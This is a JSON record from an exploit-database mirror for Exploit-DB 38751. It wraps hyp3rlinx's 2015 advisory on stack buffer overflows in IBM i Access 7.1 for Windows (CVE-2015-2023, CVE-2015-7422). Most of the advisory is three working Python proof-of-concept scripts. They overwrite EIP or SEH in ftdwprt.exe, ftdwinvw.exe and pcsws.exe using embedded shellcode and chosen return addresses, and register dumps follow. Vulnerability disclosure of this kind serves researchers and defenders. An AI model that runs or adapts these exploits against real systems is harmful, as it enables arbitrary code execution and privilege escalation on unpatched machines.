{"exploit":{"id":"EDB-38751","name":"IBM i Access 7.1 - Local Buffer Overflow / Code Execution","description":"IBM i Access 7.1 - Local Buffer Overflow / Code Execution","cves":["CVE-2015-7422","CVE-2015-2023"],"author":"hyp3rlinx","published":"2015-11-18","platform":"windows","type":"local","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/38751","path":"exploits/windows/local/38751.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-38751.txt","vulnerabilities":[{"id":"CVE-2015-7422","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in IBM i Access 7.1 on Windows allows local users to cause a denial of service (application crash) via unspecified vectors.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2015-7422","cvss":{"version":"3.0","baseScore":5.5,"severity":"medium","vectorString":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2015-7422"},"updatedAt":"2024-08-06T07:51:27.353Z","retrievedAt":"2026-11-26T15:28:14.157Z","stale":false,"error":null},{"id":"CVE-2015-2023","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in IBM i Access 7.1 on Windows allows local users to gain privileges via unspecified vectors.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2015-2023","cvss":{"version":"3.0","baseScore":8.8,"severity":"high","vectorString":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2015-2023"},"updatedAt":"2024-08-06T05:02:42.960Z","retrievedAt":"2026-11-26T14:06:14.590Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-38751.png?v=2","url":"https://exploitbin.com/exploits/EDB-38751","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-38751/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-38751/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"[+] Credits: John Page aka hyp3rlinx\n\n[+] Website: hyp3rlinx.altervista.org\n\n[+] Source:\nhttp://hyp3rlinx.altervista.org/advisories/IBMI-CLIENT-ACCESS-BUFFER-OVERFLOW.txt\n\n\nVendor:\n==============\nwww.ibm.com\n\n\nProduct:\n====================================================\nIBM i Access for Windows\nRelease 7.1 of IBM i Access for Windows is affected\n\n\nVulnerability Type:\n=======================\nStack Buffer Overflow\nArbitrary Code Exec\n\n\nCVE Reference:\n==============\nCVE-2015-2023\n\n\nVulnerability Details:\n=====================\nIBM i Access for Windows is vulnerable to a buffer overflow. A local\nattacker could overflow a buffer and execute arbitrary code on the Windows PC.\n\nclient Access has ability to receive remote commands via \"Cwbrxd.exe\"\nservice\nRef: http://www-01.ibm.com/support/docview.wss?uid=nas8N1019253\n\n\"Incoming remote command was designed for running non-interactive commands\nand programs on a PC\", therefore a remote attacker could execute arbitrary code on the system.\n\nRemediation/Fixes\nThe issue can be fixed by obtaining and applying the Service Pack SI57907.\n\nThe buffer overflow vulnerability can be remediated by applying Service\nPack SI57907.\n\nThe Service Pack is available at:\nhttp://www-03.ibm.com/systems/power/software/i/access/windows_sp.html\n\nWorkarounds and Mitigations\nNone known\n\nCVSS Base Score: 4.4\nCVSS Temporal Score: See http://xforce.iss.net/xforce/xfdb/104044 for the\ncurrent score\nCVSS Environmental Score*: Undefined\nCVSS Vector: (AV:L/AC:M/Au:N/C:P/I:P/A:P)\n\n\nExploit code(s):\n==============================================================================\n\nThree python POC scriptz follow that exploitz various component of IBM i\nAccess.\n\n\n1) Exploits \"ftdwprt.exe\", direct EIP overwrite\n\nimport struct,os,subprocess\n\npgm=\"C:\\\\Program Files (x86)\\\\IBM\\\\Client Access\\\\AFPViewr\\\\ftdwprt.exe  \"\n\n#shellcode to pop calc.exe Windows 7 SP1\nsc=(\"\\x31\\xF6\\x56\\x64\\x8B\\x76\\x30\\x8B\\x76\\x0C\\x8B\\x76\\x1C\\x8B\"\n\"\\x6E\\x08\\x8B\\x36\\x8B\\x5D\\x3C\\x8B\\x5C\\x1D\\x78\\x01\\xEB\\x8B\"\n\"\\x4B\\x18\\x8B\\x7B\\x20\\x01\\xEF\\x8B\\x7C\\x8F\\xFC\\x01\\xEF\\x31\"\n\"\\xC0\\x99\\x32\\x17\\x66\\xC1\\xCA\\x01\\xAE\\x75\\xF7\\x66\\x81\\xFA\"\n\"\\x10\\xF5\\xE0\\xE2\\x75\\xCF\\x8B\\x53\\x24\\x01\\xEA\\x0F\\xB7\\x14\"\n\"\\x4A\\x8B\\x7B\\x1C\\x01\\xEF\\x03\\x2C\\x97\\x68\\x2E\\x65\\x78\\x65\"\n\"\\x68\\x63\\x61\\x6C\\x63\\x54\\x87\\x04\\x24\\x50\\xFF\\xD5\\xCC\")\n\n\n# use jmp or call esp in FTDBT.dll under AFPviewer for Client Access\n# we find ---> 0x638091df : jmp esp |  {PAGE_EXECUTE_READ} [FTDBDT.dll]\nASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.05.04.00\n(C:\\Program Files (x86)\\IBM\\Client Access\\AFPViewr\\FTDBDT.dll)\n\nrp=struct.pack('<L', 0x638091FB)\npayload=\"A\" * 1043+rp+sc+\"\\x90\"*20\nsubprocess.Popen([pgm, payload], shell=False) #<----1043 bytes outside of\ndebugger use 1044 in debugger.\n\n\n==================================\n\n\n2) Exploits \"ftdwinvw.exe\", direct EIP overwrite\n\nimport struct,os,subprocess\n\npgm=\"C:\\\\Program Files (x86)\\\\IBM\\\\Client Access\\\\AFPViewr\\\\ftdwinvw.exe \"\n\n\n#shellcode to pop calc.exe Windows 7 SP1\nsc=(\"\\x31\\xF6\\x56\\x64\\x8B\\x76\\x30\\x8B\\x76\\x0C\\x8B\\x76\\x1C\\x8B\"\n\"\\x6E\\x08\\x8B\\x36\\x8B\\x5D\\x3C\\x8B\\x5C\\x1D\\x78\\x01\\xEB\\x8B\"\n\"\\x4B\\x18\\x8B\\x7B\\x20\\x01\\xEF\\x8B\\x7C\\x8F\\xFC\\x01\\xEF\\x31\"\n\"\\xC0\\x99\\x32\\x17\\x66\\xC1\\xCA\\x01\\xAE\\x75\\xF7\\x66\\x81\\xFA\"\n\"\\x10\\xF5\\xE0\\xE2\\x75\\xCF\\x8B\\x53\\x24\\x01\\xEA\\x0F\\xB7\\x14\"\n\"\\x4A\\x8B\\x7B\\x1C\\x01\\xEF\\x03\\x2C\\x97\\x68\\x2E\\x65\\x78\\x65\"\n\"\\x68\\x63\\x61\\x6C\\x63\\x54\\x87\\x04\\x24\\x50\\xFF\\xD5\\xCC\")\n\n\n#payload=\"A\"*1044+\"RRRR\"+\"\\x90\"*10+\"B\"*100 #Test EIP\n\nrp=struct.pack('<L', 0x638091fb) #CALL ESP (0x638091fb) FTDBDT.dll\npayload=\"A\"*1044+rp+\"\\x90\"*10+sc #KABOOM!!!\nsubprocess.Popen([pgm, payload], shell=False)\n\nregisters dump...\n\nEAX 0000040B\nECX 0044AAB8 ASCII \"AAAAAAAAA...\nEDX 7F17E09F\nEBX 00000000\nESP 0018E5B8\nEBP 41414141\nESI 005A9FB9 ASCII \"AAAAAAAAA...\nEDI 0044E94C ftdwinvw.0044E94C\nEIP 52525252                    <----------BOOM!\n\nC 0  ES 002B 32bit 0(FFFFFFFF)\nP 0  CS 0023 32bit 0(FFFFFFFF)\nA 0  SS 002B 32bit 0(FFFFFFFF)\nZ 0  DS 002B 32bit 0(FFFFFFFF)\nS 0  FS 0053 32bit 7EFDD000(FFF)\nT 0  GS 002B 32bit 0(FFFFFFFF)\nD 0\nO 0  LastErr ERROR_SUCCESS (00000000)\nEFL 00010202 (NO,NB,NE,A,NS,PO,GE,G)\nST0 empty g\nST1 empty g\nST2 empty g\nST3 empty g\nST4 empty g\nST5 empty g\nST6 empty g\nST7 empty g\n               3 2 1 0      E S P U O Z D I\nFST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)\nFCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1\n\n\n\n3) Exploits \"PCSWS.exe\", structured exeception handler (SEH) overwrite\n\npgm=\"C:\\\\Program Files (x86)\\\\IBM\\\\Client Access\\\\Emulator\\\\pcsws.exe \"\n\n\n#ctrl EIP at 1340 bytes, ESP points to RETURN to ntdll.770BB499 so we will\njump 8 bytes to our SC\n#as ESP points to our SC 8 bytes after!\n\njmp=\"\\xEB\\x06\"+\"\\x90\"*2\n#payload=\"A\"*1336+\"BBBB\" #Test\n\n#shellcode to pop calc.exe Windows 7 SP1\nsc=(\"\\x31\\xF6\\x56\\x64\\x8B\\x76\\x30\\x8B\\x76\\x0C\\x8B\\x76\\x1C\\x8B\"\n\"\\x6E\\x08\\x8B\\x36\\x8B\\x5D\\x3C\\x8B\\x5C\\x1D\\x78\\x01\\xEB\\x8B\"\n\"\\x4B\\x18\\x8B\\x7B\\x20\\x01\\xEF\\x8B\\x7C\\x8F\\xFC\\x01\\xEF\\x31\"\n\"\\xC0\\x99\\x32\\x17\\x66\\xC1\\xCA\\x01\\xAE\\x75\\xF7\\x66\\x81\\xFA\"\n\"\\x10\\xF5\\xE0\\xE2\\x75\\xCF\\x8B\\x53\\x24\\x01\\xEA\\x0F\\xB7\\x14\"\n\"\\x4A\\x8B\\x7B\\x1C\\x01\\xEF\\x03\\x2C\\x97\\x68\\x2E\\x65\\x78\\x65\"\n\"\\x68\\x63\\x61\\x6C\\x63\\x54\\x87\\x04\\x24\\x50\\xFF\\xD5\\xCC\")\n\n\nrp=struct.pack('<L', 0x678c1e49)                 #pop pop ret 0x67952486\nPCSW32X.dll\npayload=\"A\"*1332+jmp+rp+sc+\"\\x90\"*10             #KABOOOOOOOOOOOOOOOOOOM!\nsubprocess.Popen([pgm, payload], shell=False)\n\nregister dump...\n\n0018FF6C   41414141  AAAA\n0018FF70   41414141  AAAA\n0018FF74   41414141  AAAA\n0018FF78   41414141  AAAA  Pointer to next SEH record\n0018FF7C   42424242  BBBB  SE handler\n0018FF80   004C0400  .\u0004L.  pcsws.004C0400\n\n\nDisclosure Timeline:\n====================================\nVendor Notification:  May 21, 2015\nNovember 18, 2015  : Public Disclosure\n\n\nExploitation Technique:\n=======================\nLocal / Remote\n\n\nSeverity Level:\n================\nHigh\n\n\nDescription:\n=================================================================================\nRequest Method(s):          [+] local or remote commands via \"Cwbrxd.exe\"\nservice\n\n\nVulnerable Product:         [+] IBM i Access for Windows Release 7.1\n\n\nAffected Area(s):           [+] OS\n\n\n\n[+] Disclaimer\nPermission is hereby granted for the redistribution of this advisory,\nprovided that it is not altered except by reformatting it, and that due\ncredit is given. Permission is explicitly given for insertion in\nvulnerability databases and similar, provided that due credit is given to\nthe author.\nThe author is not responsible for any misuse of the information contained\nherein and prohibits any malicious use of all security related information\nor exploits by the author or elsewhere.\n\nby hyp3rlinx","sha256":"ff66535a0298acd86defcae7b582c77cecf215b03981a03f8ca1f3ca0cfd293f","bytes":6617,"fetchedAt":"2026-11-26T14:06:09.853Z","encoding":"utf-8 (display only; download retains original bytes)"}